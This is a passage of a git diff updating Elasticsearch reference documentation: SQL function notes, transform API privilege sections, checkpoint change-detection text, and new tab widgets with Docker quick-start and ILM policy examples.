7.7.0. +| A 7.10.0 server is compatible with 7.7.0-7.10.0 drivers. +endif::[] + +| 7.7.0 and earlier versions +| * The same version. +| A 7.6.1 server is only compatible with 7.6.1 drivers. +|==== diff --git a/docs/reference/sql/functions/date-time.asciidoc b/docs/reference/sql/functions/date-time.asciidoc index a0f2c3f7fa3f9..f0e1e59b1e665 100644 --- a/docs/reference/sql/functions/date-time.asciidoc +++ b/docs/reference/sql/functions/date-time.asciidoc @@ -473,7 +473,7 @@ If any of the two arguments is `null` or the pattern is an empty string `null` i [NOTE] If the 1st argument is of type `time`, then pattern specified by the 2nd argument cannot contain date related units -(e.g. 'dd', 'MM', 'YYYY', etc.). If it contains such units an error is returned. +(e.g. 'dd', 'MM', 'yyyy', etc.). If it contains such units an error is returned. [source, sql] -------------------------------------------------- @@ -515,7 +515,7 @@ If any of the two arguments is `null` or an empty string `null` is returned. [NOTE] -If the parsing pattern contains only date or only time units (e.g. 'dd/MM/uuuu', 'HH:mm:ss', etc.) an error is returned +If the parsing pattern contains only date or only time units (e.g. 'dd/MM/yyyy', 'HH:mm:ss', etc.) an error is returned as the function needs to return a value of `datetime` type which must contain both. [source, sql] @@ -564,7 +564,7 @@ https://docs.oracle.com/en/java/javase/14/docs/api/java.base/java/time/format/Da If any of the two arguments is `null` or an empty string `null` is returned. [NOTE] -If the parsing pattern contains only date units (e.g. 'dd/MM/uuuu') an error is returned +If the parsing pattern contains only date units (e.g. 'dd/MM/yyyy') an error is returned as the function needs to return a value of `time` type which will contain only time. [source, sql] diff --git a/docs/reference/sql/functions/math.asciidoc b/docs/reference/sql/functions/math.asciidoc index f2ebe488248f8..25b233d697e06 100644 --- a/docs/reference/sql/functions/math.asciidoc +++ b/docs/reference/sql/functions/math.asciidoc @@ -373,7 +373,7 @@ TRUNCATE( *Output*: numeric *Description*: Returns `numeric_exp` truncated to `integer_exp` places right of the decimal point. If `integer_exp` is negative, -`numeric_exp` is truncated to |`integer_exp`| places to the left of the decimal point. If `integer_exp` is omitted, +`numeric_exp` is truncated to |`integer_exp`| places to the left of the decimal point. If `integer_exp` is omitted, the function will perform as if `integer_exp` would be 0. The returned numeric data type is the same as the data type of `numeric_exp`. diff --git a/docs/reference/sql/functions/system.asciidoc b/docs/reference/sql/functions/system.asciidoc index f860a420eec75..2422f906ea02f 100644 --- a/docs/reference/sql/functions/system.asciidoc +++ b/docs/reference/sql/functions/system.asciidoc @@ -40,7 +40,7 @@ USER() *Output*: string *Description*: Returns the username of the authenticated user executing the query. This function can -return `null` in case <> is disabled. +return `null` in case <> is disabled. [source, sql] -------------------------------------------------- diff --git a/docs/reference/sql/language/indices.asciidoc b/docs/reference/sql/language/indices.asciidoc index e8d20260d0ac3..c275f7ed92bd9 100644 --- a/docs/reference/sql/language/indices.asciidoc +++ b/docs/reference/sql/language/indices.asciidoc @@ -88,12 +88,8 @@ requires the keyword `LIKE` for SQL `LIKE` pattern. [[sql-index-frozen]] === Frozen Indices -{es} <> are a useful and powerful tool for hot/warm architecture introduced in {es} 6.6, -essentially by trading speed for memory. -{es-sql} supports frozen indices and similar to {es}, due to their performance characteristics, allows searches on them only -when explicitly told so by user - in other words, by default, frozen indices are not included in searches. - -One can toggle the use of frozen indices through: +By default, {es-sql} doesn't search <>. To +search frozen indices, use one of the following features: dedicated configuration parameter:: Set to `true` properties `index_include_frozen` in the <> or `index.include.frozen` in the drivers to include frozen indices. diff --git a/docs/reference/sql/limitations.asciidoc b/docs/reference/sql/limitations.asciidoc index b1baf9c3376bf..d9dd3b4bde871 100644 --- a/docs/reference/sql/limitations.asciidoc +++ b/docs/reference/sql/limitations.asciidoc @@ -196,22 +196,13 @@ indexed with some loss of precision from the original values (4.190951585769653E Therefore calling `ST_Z` function in the filtering, grouping or sorting will return `null`. [discrete] -[[fields-from-source]] -=== Retrieving from `_source` +[[using-fields-api]] +=== Retrieving using the `fields` search parameter -Most of {es-sql}'s columns are retrieved from the document's `_source` and there is no attempt to get the columns content from -`docvalue_fields` not even in the case <> field is disabled in the mapping explicitly. -If a column, for which there is no source stored, is asked for in a query, {es-sql} will not return it. Field types that don't follow -this restriction are: `keyword`, `date`, `scaled_float`, `geo_point`, `geo_shape` since they are NOT returned from `_source` but -from `docvalue_fields`. - -[discrete] -[[fields-from-docvalues]] -=== Retrieving from `docvalue_fields` - -When the number of columns retrievable from `docvalue_fields` is greater than the configured <> -the query will fail with `IllegalArgumentException: Trying to retrieve too many docvalue_fields` error. Either the mentioned {es} -setting needs to be adjusted or fewer columns retrievable from `docvalue_fields` need to be selected. +{es-sql} retrieves column values using the <>. Any limitations on the `fields` parameter also apply to +{es-sql} queries. For example, if `_source` is disabled +for any of the returned fields or at index level, the values cannot be retrieved. [discrete] [[aggs-in-pivot]] diff --git a/docs/reference/tab-widgets/api-call-widget.asciidoc b/docs/reference/tab-widgets/api-call-widget.asciidoc new file mode 100644 index 0000000000000..37f49f89847cf --- /dev/null +++ b/docs/reference/tab-widgets/api-call-widget.asciidoc @@ -0,0 +1,40 @@ +++++ +
+
+ + +
+
+++++ + +include::api-call.asciidoc[tag=cloud] + +++++ +
+ +
+++++ diff --git a/docs/reference/tab-widgets/api-call.asciidoc b/docs/reference/tab-widgets/api-call.asciidoc new file mode 100644 index 0000000000000..a6f7b59febd4a --- /dev/null +++ b/docs/reference/tab-widgets/api-call.asciidoc @@ -0,0 +1,53 @@ +// tag::cloud[] +**Use curl** + +. To communicate with {es} using curl or another client, you need your +cluster's endpoint. Go to the **Elasticsearch** page and click **Copy +endpoint**. + +. To submit an example API request, run the following curl command in a new +terminal session. Replace `` with the password for the `elastic` user. +Replace `` with your endpoint. ++ +[source,sh] +---- +curl -u elastic: / +---- +// NOTCONSOLE + +**Use {kib}** + +. Go to the *{kib}* page and click **Launch**. + +//tag::kibana-api-ex[] +. Open {kib}'s main menu and go to **Dev Tools > Console**. ++ +[role="screenshot"] +image::images/kibana-console.png[{kib} Console,align="center"] + +. Run the following example API request in the console: ++ +[source,console] +---- +GET / +---- + +//end::kibana-api-ex[] +// end::cloud[] + +// tag::self-managed[] +**Use curl** + +To submit an example API request, run the following curl command in a new +terminal session. + +[source,sh] +---- +curl -X GET http://localhost:9200/ +---- +// NOTCONSOLE + +**Use {kib}** + +include::api-call.asciidoc[tag=kibana-api-ex] +// end::self-managed[] diff --git a/docs/reference/tab-widgets/data-tiers-widget.asciidoc b/docs/reference/tab-widgets/data-tiers-widget.asciidoc new file mode 100644 index 0000000000000..e0daecb9e491e --- /dev/null +++ b/docs/reference/tab-widgets/data-tiers-widget.asciidoc @@ -0,0 +1,40 @@ +++++ +
+
+ + +
+
+++++ + +include::data-tiers.asciidoc[tag=cloud] + +++++ +
+ +
+++++ \ No newline at end of file diff --git a/docs/reference/tab-widgets/data-tiers.asciidoc b/docs/reference/tab-widgets/data-tiers.asciidoc new file mode 100644 index 0000000000000..83038153abb2d --- /dev/null +++ b/docs/reference/tab-widgets/data-tiers.asciidoc @@ -0,0 +1,54 @@ +// tag::cloud[] +. Log in to the {ess-trial}[{ess} Console]. + +. Add or select your deployment from the {ess} home page or the deployments +page. + +. From your deployment menu, select **Edit deployment**. + +. To enable a data tier, click **Add capacity**. + +**Enable autoscaling** + +{cloud}/ec-autoscaling.html[Autoscaling] automatically adjusts your deployment's +capacity to meet your storage needs. To enable autoscaling, select **Autoscale +this deployment** on the **Edit deployment** page. Autoscaling is only available +for {ess}. +// end::cloud[] + +// tag::self-managed[] +To assign a node to a data tier, add the respective <> to +the node's `elasticsearch.yml` file. Changing an existing node's roles requires +a <>. + +[source,yaml] +---- +# Hot tier +node.roles: [ data_hot ] + +# Warm tier +node.roles: [ data_warm ] + +# Cold tier +node.roles: [ data_cold ] + +# Frozen tier +node.roles: [ data_frozen ] +---- + +We recommend you use dedicated nodes in the frozen tier. If needed, you can +assign other nodes to more than one tier. + +[source,yaml] +---- +node.roles: [ data_hot, data_warm ] +---- + +Assign your nodes any other roles needed for your cluster. For example, a small +cluster may have nodes with multiple roles. + +[source,yaml] +---- +node.roles: [ master, ingest, ml, data_hot, transform ] +---- +// end::self-managed[] diff --git a/docs/reference/tab-widgets/ilm-widget.asciidoc b/docs/reference/tab-widgets/ilm-widget.asciidoc new file mode 100644 index 0000000000000..14d1c1c11c83d --- /dev/null +++ b/docs/reference/tab-widgets/ilm-widget.asciidoc @@ -0,0 +1,40 @@ +++++ +
+
+ + +
+
+++++ + +include::ilm.asciidoc[tag=fleet] + +++++ +
+ +
+++++ \ No newline at end of file diff --git a/docs/reference/tab-widgets/ilm.asciidoc b/docs/reference/tab-widgets/ilm.asciidoc new file mode 100644 index 0000000000000..46a03be802a6d --- /dev/null +++ b/docs/reference/tab-widgets/ilm.asciidoc @@ -0,0 +1,75 @@ +// tag::fleet[] +{fleet} and {agent} use the following built-in lifecycle policies: + +* `logs` +* `metrics` +* `synthetics` + +You can customize these policies based on your performance, resilience, and +retention requirements. + +To edit a policy in {kib}, open the main menu and go to **Stack Management > +Index Lifecycle Policies**. Click the policy you'd like to edit. + +You can also use the <>. + +[source,console] +---- +PUT _ilm/policy/logs +{ + "policy": { + "phases": { + "hot": { + "actions": { + "rollover": { + "max_primary_shard_size": "50gb" + } + } + }, + "warm": { + "min_age": "30d", + "actions": { + "shrink": { + "number_of_shards": 1 + }, + "forcemerge": { + "max_num_segments": 1 + } + } + }, + "cold": { + "min_age": "60d", + "actions": { + "searchable_snapshot": { + "snapshot_repository": "found-snapshots" + } + } + }, + "frozen": { + "min_age": "90d", + "actions": { + "searchable_snapshot": { + "snapshot_repository": "found-snapshots" + } + } + }, + "delete": { + "min_age": "735d", + "actions": { + "delete": {} + } + } + } + } +} +---- +// end::fleet[] + +// tag::custom[] +To create a policy in {kib}, open the main menu and go to **Stack Management > +Index Lifecycle Policies**. Click **Create policy**. + +You can also use the <>. + +include::{es-repo-dir}/data-streams/set-up-a-data-stream.asciidoc[tag=ilm-policy-api-ex] +// end::custom[] diff --git a/docs/reference/tab-widgets/jvm-memory-pressure-widget.asciidoc b/docs/reference/tab-widgets/jvm-memory-pressure-widget.asciidoc new file mode 100644 index 0000000000000..5e711eb1a014d --- /dev/null +++ b/docs/reference/tab-widgets/jvm-memory-pressure-widget.asciidoc @@ -0,0 +1,40 @@ +++++ +
+
+ + +
+
+++++ + +include::jvm-memory-pressure.asciidoc[tag=cloud] + +++++ +
+ +
+++++ diff --git a/docs/reference/tab-widgets/jvm-memory-pressure.asciidoc b/docs/reference/tab-widgets/jvm-memory-pressure.asciidoc new file mode 100644 index 0000000000000..af12f6d838b8a --- /dev/null +++ b/docs/reference/tab-widgets/jvm-memory-pressure.asciidoc @@ -0,0 +1,28 @@ +// tag::cloud[] +From your deployment menu, click **Elasticsearch**. Under **Instances**, each +instance displays a **JVM memory pressure** indicator. When the JVM memory +pressure reaches 75%, the indicator turns red. + +You can also use the <> to calculate the +current JVM memory pressure for each node. + +// tag::jvm-memory-cat-nodes[] +[source,console] +---- +GET _nodes/stats?filter_path=nodes.*.jvm.mem.pools.old +---- + +Use the response to calculate memory pressure as follows: + +JVM Memory Pressure = `used_in_bytes` / `max_in_bytes` +// end::jvm-memory-cat-nodes[] + +// end::cloud[] + +// tag::self-managed[] +To calculate the current JVM memory pressure for each node, use the +<>. + +include::jvm-memory-pressure.asciidoc[tag=jvm-memory-cat-nodes] + +// end::self-managed[] diff --git a/docs/reference/tab-widgets/multi-data-path-widget.asciidoc b/docs/reference/tab-widgets/multi-data-path-widget.asciidoc deleted file mode 100644 index f665e7a1cc912..0000000000000 --- a/docs/reference/tab-widgets/multi-data-path-widget.asciidoc +++ /dev/null @@ -1,39 +0,0 @@ -++++ -
-
- - -
-
-++++ - -include::multi-data-path.asciidoc[tag=unix] - -++++ -
- -
-++++ \ No newline at end of file diff --git a/docs/reference/tab-widgets/multi-data-path.asciidoc b/docs/reference/tab-widgets/multi-data-path.asciidoc deleted file mode 100644 index 0a63c7791f66c..0000000000000 --- a/docs/reference/tab-widgets/multi-data-path.asciidoc +++ /dev/null @@ -1,26 +0,0 @@ -// tag::unix[] -Linux and macOS installations support multiple Unix-style paths in `path.data`: - -[source,yaml] ----- -path: - data: - - /mnt/elasticsearch_1 - - /mnt/elasticsearch_2 - - /mnt/elasticsearch_3 ----- -// end::unix[] - - -// tag::win[] -Windows installations support multiple DOS paths in `path.data`: - -[source,yaml] ----- -path: - data: - - "C:\\Elastic\\Elasticsearch_1" - - "E:\\Elastic\\Elasticsearch_1" - - "F:\\Elastic\\Elasticsearch_3" ----- -// end::win[] diff --git a/docs/reference/tab-widgets/quick-start-cleanup-widget.asciidoc b/docs/reference/tab-widgets/quick-start-cleanup-widget.asciidoc new file mode 100644 index 0000000000000..2950e6a7d44f6 --- /dev/null +++ b/docs/reference/tab-widgets/quick-start-cleanup-widget.asciidoc @@ -0,0 +1,40 @@ +++++ +
+
+ + +
+
+++++ + +include::quick-start-cleanup.asciidoc[tag=cloud] + +++++ +
+ +
+++++ diff --git a/docs/reference/tab-widgets/quick-start-cleanup.asciidoc b/docs/reference/tab-widgets/quick-start-cleanup.asciidoc new file mode 100644 index 0000000000000..551b16d43b02f --- /dev/null +++ b/docs/reference/tab-widgets/quick-start-cleanup.asciidoc @@ -0,0 +1,24 @@ + +// tag::cloud[] +Click **Delete deployment** from the deployment overview page and follow the +prompts. +// end::cloud[] + +// tag::self-managed[] +To stop your {es} and {kib} Docker containers, run: + +[source,sh] +---- +docker stop es01-test +docker stop kib01-test +---- + +To remove the containers and their network, run: + +[source,sh] +---- +docker network rm elastic +docker rm es01-test +docker rm kib01-test +---- +// end::self-managed[] diff --git a/docs/reference/tab-widgets/quick-start-install-widget.asciidoc b/docs/reference/tab-widgets/quick-start-install-widget.asciidoc new file mode 100644 index 0000000000000..25f2c8a012b80 --- /dev/null +++ b/docs/reference/tab-widgets/quick-start-install-widget.asciidoc @@ -0,0 +1,40 @@ +++++ +
+
+ + +
+
+++++ + +include::quick-start-install.asciidoc[tag=cloud] + +++++ +
+ +
+++++ diff --git a/docs/reference/tab-widgets/quick-start-install.asciidoc b/docs/reference/tab-widgets/quick-start-install.asciidoc new file mode 100644 index 0000000000000..7854adba0f29c --- /dev/null +++ b/docs/reference/tab-widgets/quick-start-install.asciidoc @@ -0,0 +1,49 @@ + +// tag::cloud[] +include::{docs-root}/shared/cloud/ess-getting-started.asciidoc[tag=generic] +// end::cloud[] + +// tag::self-managed[] +**Install and run {es}** + +ifeval::["{release-state}"=="unreleased"] +NOTE: No Docker image is currently available for {es} {version}. +endif::[] + +ifeval::["{release-state}"!="unreleased"] + +. Install and start https://www.docker.com/products/docker-desktop[Docker +Desktop]. + +. Run: ++ +[source,sh,subs="attributes"] +---- +docker network create elastic +docker pull {docker-repo}:{version} +docker run --name es01-test --net elastic -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" {docker-image} +---- +endif::[] + +**Install and run {kib}** + +To analyze, visualize, and manage {es} data using an intuitive UI, install +{kib}. + +ifeval::["{release-state}"=="unreleased"] +NOTE: No Docker image is currently available for {kib} {version}. +endif::[] +ifeval::["{release-state}"!="unreleased"] + +. In a new terminal session, run: ++ +["source","txt",subs="attributes"] +---- +docker pull docker.elastic.co/kibana/kibana:{version} +docker run --name kib01-test --net elastic -p 5601:5601 -e "ELASTICSEARCH_HOSTS=http://es01-test:9200" docker.elastic.co/kibana/kibana:{version} +---- + +. To access {kib}, go to http://localhost:5601[http://localhost:5601] + +endif::[] +// end::self-managed[] diff --git a/docs/reference/tab-widgets/register-fs-repo.asciidoc b/docs/reference/tab-widgets/register-fs-repo.asciidoc index bbfeabcbf571c..1a4cee7ec42ca 100644 --- a/docs/reference/tab-widgets/register-fs-repo.asciidoc +++ b/docs/reference/tab-widgets/register-fs-repo.asciidoc @@ -9,9 +9,9 @@ path: - /mount/long_term_backups ---- -After restarting each node, use the <> API to register the file system repository. Specify the file -system's path in `settings.location`: +After restarting each node, use the <> API to register the file system repository. Specify the +file system's path in `settings.location`: [source,console] ---- @@ -64,9 +64,9 @@ path: <1> DOS path <2> UNC path -After restarting each node, use the <> API to register the file system repository. Specify the file -system's path in `settings.location`: +After restarting each node, use the <> API to register the file system repository. Specify the +file system's path in `settings.location`: [source,console] ---- diff --git a/docs/reference/tab-widgets/snapshot-repo-widget.asciidoc b/docs/reference/tab-widgets/snapshot-repo-widget.asciidoc new file mode 100644 index 0000000000000..81dfce690bc0b --- /dev/null +++ b/docs/reference/tab-widgets/snapshot-repo-widget.asciidoc @@ -0,0 +1,40 @@ +++++ +
+
+ + +
+
+++++ + +include::snapshot-repo.asciidoc[tag=cloud] + +++++ +
+ +
+++++ \ No newline at end of file diff --git a/docs/reference/tab-widgets/snapshot-repo.asciidoc b/docs/reference/tab-widgets/snapshot-repo.asciidoc new file mode 100644 index 0000000000000..5d8cc2cae251e --- /dev/null +++ b/docs/reference/tab-widgets/snapshot-repo.asciidoc @@ -0,0 +1,20 @@ +// tag::cloud[] +When you create a cluster, {ess} automatically registers a default +{cloud}/ec-snapshot-restore.html[`found-snapshots`] repository. This repository +supports {search-snaps}. + +The `found-snapshots` repository is specific to your cluster. To use another +cluster's default repository, see +{cloud}/ec_share_a_repository_across_clusters.html[Share a repository across +clusters]. + +You can also use any of the following custom repository types with {search-snaps}: + +* {cloud}/ec-gcs-snapshotting.html[Google Cloud Storage (GCS)] +* {cloud}/ec-azure-snapshotting.html[Azure Blob Storage] +* {cloud}/ec-aws-custom-repository.html[Amazon Web Services (AWS)] +// end::cloud[] + +// tag::self-managed[] +include::{es-repo-dir}/searchable-snapshots/index.asciidoc[tag=searchable-snapshot-repo-types] +// end::self-managed[] diff --git a/docs/reference/transform/apis/delete-transform.asciidoc b/docs/reference/transform/apis/delete-transform.asciidoc index d15be8588468c..2d9b38f5c6c17 100644 --- a/docs/reference/transform/apis/delete-transform.asciidoc +++ b/docs/reference/transform/apis/delete-transform.asciidoc @@ -18,18 +18,10 @@ Deletes an existing {transform}. [[delete-transform-prereqs]] == {api-prereq-title} +* Requires the `manage_transform` cluster privilege. This privilege is included +in the `transform_admin` built-in role. * Before you can delete the {transform}, you must stop it. -If the {es} {security-features} are enabled, you must have the following -privileges: - -* `manage_transform` - -The built-in `transform_admin` role has this privilege. - -For more information, see <> and <>. - - [[delete-transform-path-parms]] == {api-path-parms-title} diff --git a/docs/reference/transform/apis/get-transform-stats.asciidoc b/docs/reference/transform/apis/get-transform-stats.asciidoc index dbebbe2ebb4c8..ff375a32f83a4 100644 --- a/docs/reference/transform/apis/get-transform-stats.asciidoc +++ b/docs/reference/transform/apis/get-transform-stats.asciidoc @@ -28,14 +28,11 @@ Retrieves usage information for {transforms}. [[get-transform-stats-prereqs]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -privileges: +Requires the following privileges: -* `monitor_transform` - -The built-in `transform_user` role has this privilege. - -For more information, see <> and <>. +* cluster: `monitor_transform` (the `transform_user` built-in role grants this + privilege) +* destination index: `read`, `view_index_metadata`. [[get-transform-stats-desc]] diff --git a/docs/reference/transform/apis/get-transform.asciidoc b/docs/reference/transform/apis/get-transform.asciidoc index 943004373c381..e02dba942abbd 100644 --- a/docs/reference/transform/apis/get-transform.asciidoc +++ b/docs/reference/transform/apis/get-transform.asciidoc @@ -26,14 +26,8 @@ Retrieves configuration information for {transforms}. [[get-transform-prereqs]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -privileges: - -* `monitor_transform` - -The built-in `transform_user` role has this privilege. - -For more information, see <> and <>. +Requires the `monitor_transform` cluster privilege. This privilege is included +in the `transform_user` built-in role. [[get-transform-desc]] == {api-description-title} diff --git a/docs/reference/transform/apis/preview-transform.asciidoc b/docs/reference/transform/apis/preview-transform.asciidoc index 1f07b5713a08f..32a174d9460e6 100644 --- a/docs/reference/transform/apis/preview-transform.asciidoc +++ b/docs/reference/transform/apis/preview-transform.asciidoc @@ -18,16 +18,11 @@ Previews a {transform}. [[preview-transform-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -privileges: - -* `manage_transform` -* source index: `read`, `view_index_metadata` - -The built-in `transform_admin` role has the `manage_transform` privilege. - -For more information, see <> and <>. +Requires the following privileges: +* cluster: `manage_transform` (the `transform_admin` built-in role grants this + privilege) +* source indices: `read`, `view_index_metadata`. [[preview-transform-desc]] == {api-description-title} @@ -83,7 +78,6 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=frequency] //Begin latest `latest`:: (Required^*^, object) -beta:[] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-latest] + .Properties of `latest` diff --git a/docs/reference/transform/apis/put-transform.asciidoc b/docs/reference/transform/apis/put-transform.asciidoc index d97f95fa2391c..f2c397a6ebee8 100644 --- a/docs/reference/transform/apis/put-transform.asciidoc +++ b/docs/reference/transform/apis/put-transform.asciidoc @@ -18,16 +18,12 @@ Instantiates a {transform}. [[put-transform-prereqs]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles and privileges: - -* `transform_admin` -* source index: `read`, `view_index_metadata` -* destination index: `read`, `create_index`, `manage` and `index` - -For more information, see <>, <>, and -{ml-docs-setup-privileges}. +Requires the following privileges: +* cluster: `manage_transform` (the `transform_admin` built-in role grants this + privilege) +* source indices: `read`, `view_index_metadata` +* destination index: `read`, `create_index`, index`. [[put-transform-desc]] == {api-description-title} @@ -35,7 +31,7 @@ For more information, see <>, <>, and This API defines a {transform}, which copies data from source indices, transforms it, and persists it into an entity-centric destination index. If you choose to use the pivot method for your {transform}, the entities are defined by -the set of `group_by` fields in the `pivot` object. If you choose to use the +the set of `group_by` fields in the `pivot` object. If you choose to use the latest method, the entities are defined by the `unique_key` field values in the `latest` object. @@ -44,20 +40,19 @@ structure (known as a {dataframe}). The ID for each document in the {dataframe} is generated from a hash of the entity, so there is a unique row per entity. For more information, see <>. -When the {transform} is created, a series of validations occur to -ensure its success. For example, there is a check for the existence of the -source indices and a check that the destination index is not part of the source -index pattern. You can use the `defer_validation` parameter to skip these -checks. +When the {transform} is created, a series of validations occur to ensure its +success. For example, there is a check for the existence of the source indices +and a check that the destination index is not part of the source index pattern. +You can use the `defer_validation` parameter to skip these checks. -Deferred validations are always run when the {transform} is started, -with the exception of privilege checks. When {es} {security-features} are -enabled, the {transform} remembers which roles the user that created -it had at the time of creation and uses those same roles. If those roles do not -have the required privileges on the source and destination indices, the -{transform} fails when it attempts unauthorized operations. +Deferred validations are always run when the {transform} is started, with the +exception of privilege checks. When {es} {security-features} are enabled, the +{transform} remembers which roles the user that created it had at the time of +creation and uses those same roles. If those roles do not have the required +privileges on the source and destination indices, the {transform} fails when it +attempts unauthorized operations. -IMPORTANT: You must use {kib} or this API to create a {transform}. Do not put a +IMPORTANT: You must use {kib} or this API to create a {transform}. Do not add a {transform} directly into any `.transform-internal*` indices using the {es} index API. If {es} {security-features} are enabled, do not give users any privileges on `.transform-internal*` indices. If you used {transforms} prior to @@ -114,7 +109,6 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=frequency] //Begin latest `latest`:: (Required^*^, object) -beta:[] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-latest] + .Properties of `latest` @@ -249,7 +243,7 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync-time-field] + -- TIP: In general, it’s a good idea to use a field that contains the -<>. If you use a different field, +<>. If you use a different field, you might need to set the `delay` such that it accounts for data transmission delays. diff --git a/docs/reference/transform/apis/start-transform.asciidoc b/docs/reference/transform/apis/start-transform.asciidoc index 085539c683535..323a8bd0852e4 100644 --- a/docs/reference/transform/apis/start-transform.asciidoc +++ b/docs/reference/transform/apis/start-transform.asciidoc @@ -18,14 +18,11 @@ Starts one or more {transforms}. [[start-transform-prereqs]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles and privileges: - -* `manage_transform` -* source index: `view_index_metadata` - -For more information, see <> and <>. +Requires the following privileges: +* cluster: `manage_transform` (the `transform_admin` built-in role grants this + privilege) +* source indices: `read`, `view_index_metadata`. [[start-transform-desc]] == {api-description-title} diff --git a/docs/reference/transform/apis/stop-transform.asciidoc b/docs/reference/transform/apis/stop-transform.asciidoc index 66c4a4fb90c28..132e3d86d449d 100644 --- a/docs/reference/transform/apis/stop-transform.asciidoc +++ b/docs/reference/transform/apis/stop-transform.asciidoc @@ -24,14 +24,8 @@ Stops one or more {transforms}. [[stop-transform-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles and privileges: - -* `manage_transform` - -The built-in `transform_admin` role has this privilege. - -For more information, see <> and <>. +Requires the `manage_transform` cluster privilege. This privilege is included +in the `transform_admin` built-in role. [[stop-transform-desc]] diff --git a/docs/reference/transform/apis/update-transform.asciidoc b/docs/reference/transform/apis/update-transform.asciidoc index 25d0e8cadb1ea..8dce1017b3650 100644 --- a/docs/reference/transform/apis/update-transform.asciidoc +++ b/docs/reference/transform/apis/update-transform.asciidoc @@ -18,16 +18,12 @@ Updates certain properties of a {transform}. [[update-transform-prereqs]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles and privileges: +Requires the following privileges: -* `transform_admin` - -* `manage_transform` (the built-in `transform_admin` role has this privilege) -* source index: `read`, `view_index_metadata` -* destination index: `read`, `create_index`, `index` - -For more information, see <> and <>. +* cluster: `manage_transform` (the `transform_admin` built-in role grants this + privilege) +* source indices: `read`, `view_index_metadata` +* destination index: `read`, `index`. [[update-transform-desc]] @@ -172,6 +168,13 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source-query-transform (Optional, object) include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync] + +-- +NOTE: You can update these properties only if it is a continuous {transform}. You +cannot change a batch {transform} into a continuous {transform} or vice versa. +Instead, clone the {transform} in {kib} and add or remove the `sync` property. + +-- ++ .Properties of `sync` [%collapsible%open] ==== @@ -195,7 +198,7 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync-time-field] + -- TIP: In general, it’s a good idea to use a field that contains the -<>. If you use a different field, +<>. If you use a different field, you might need to set the `delay` such that it accounts for data transmission delays. diff --git a/docs/reference/transform/checkpoints.asciidoc b/docs/reference/transform/checkpoints.asciidoc index bff52e51c726a..ba9a2619b40c1 100644 --- a/docs/reference/transform/checkpoints.asciidoc +++ b/docs/reference/transform/checkpoints.asciidoc @@ -10,7 +10,8 @@ destination index, it generates a _checkpoint_. If your {transform} runs only once, there is logically only one checkpoint. If your {transform} runs continuously, however, it creates checkpoints as it -ingests and transforms new source data. +ingests and transforms new source data. The `sync` property of the {transform} +configures checkpointing by specifying a time field. To create a checkpoint, the {ctransform}: @@ -22,21 +23,25 @@ indices. This check is done based on the interval defined in the transform's + If the source indices remain unchanged or if a checkpoint is already in progress then it waits for the next timer. ++ +If changes are found a checkpoint is created. -. Identifies which entities have changed. +. Identifies which entities and/or time buckets have changed. + -The {transform} searches to see which entities have changed since the last time -it checked. The `sync` configuration object in the {transform} identifies a time -field in the source indices. The {transform} uses the values in that field to -synchronize the source and destination indices. +The {transform} searches to see which entities or time buckets have changed +between the last and the new checkpoint. The {transform} uses the values to +synchronize the source and destination indices with fewer operations than a +full re-run. -. Updates the destination index (the {dataframe}) with the changed entities. +. Updates the destination index (the {dataframe}) with the changes. + -- -The {transform} applies changes related to either new or changed entities to the -destination index. The set of changed entities is paginated. For each page, the -{transform} performs a composite aggregation using a `terms` query. After all -the pages of changes have been applied, the checkpoint is complete. +The {transform} applies changes related to either new or changed entities or +time buckets to the destination index. The set of changes can be paginated. The +{transform} performs a composite aggregation similarly to the batch {transform} +operation, however it also injects query filters based on the previous step to +reduce the amount of work. After all changes have been applied, the checkpoint is +complete. -- This checkpoint process involves both search and indexing activity on the @@ -49,6 +54,25 @@ support both the composite aggregation search and the indexing of its results. TIP: If the cluster experiences unsuitable performance degradation due to the {transform}, stop the {transform} and refer to <>. + +[discrete] +[[ml-transform-checkpoint-heuristics]] +== Change detection heuristics + +When the {transform} runs in continuous mode, it updates the documents in the +destination index as new data comes in. The {transform} uses a set of heuristics +called change detection to update the destination index with fewer operations. + +In this example, the data is grouped by host names. Change detection detects +which host names have changed, for example, host `A`, `C` and `G` and only +updates documents with those hosts but does not update documents that store +information about host `B`, `D`, or any other host that are not changed. + +Another heuristic can be applied for time buckets when a `date_histogram` is +used to group by time buckets. Change detection detects which time buckets have +changed and only update those. + + [discrete] [[ml-transform-checkpoint-errors]] == Error handling diff --git a/docs/reference/transform/ecommerce-tutorial.asciidoc b/docs/reference/transform/ecommerce-tutorial.asciidoc index cdefcff9c911f..c0bfe8bc822ff 100644 --- a/docs/reference/transform/ecommerce-tutorial.asciidoc +++ b/docs/reference/transform/ecommerce-tutorial.asciidoc @@ -129,20 +129,25 @@ POST _transform/_preview {transform}. + -- -.. Supply a job ID and the name of the target (or _destination_) index. If the -target index does not exist, it will be created automatically. +.. Supply a {transform} ID, the name of the target (or _destination_) index and +optionally a description. If the target index does not exist, it will be created +automatically. + +.. Decide whether you want the {transform} to run once or continuously. Since +this sample data index is unchanging, let's use the default behavior and just +run the {transform} once. If you want to try it out, however, go ahead and click +on *Continuous mode*. You must choose a field that the {transform} can use to +check which entities have changed. In general, it's a good idea to use the +ingest timestamp field. In this example, however, you can use the `order_date` +field. + +.. Optionally, you can configure a retention policy that applies to your +{transform}. Select a date field that is used to identify old documents +in the destination index and provide a maximum age. Documents that are older +than the configured value are removed from the destination index. -.. Decide whether you want the {transform} to run once or continuously. --- -+ --- -Since this sample data index is unchanging, let's use the default behavior and -just run the {transform} once. - -If you want to try it out, however, go ahead and click on *Continuous mode*. -You must choose a field that the {transform} can use to check which -entities have changed. In general, it's a good idea to use the ingest 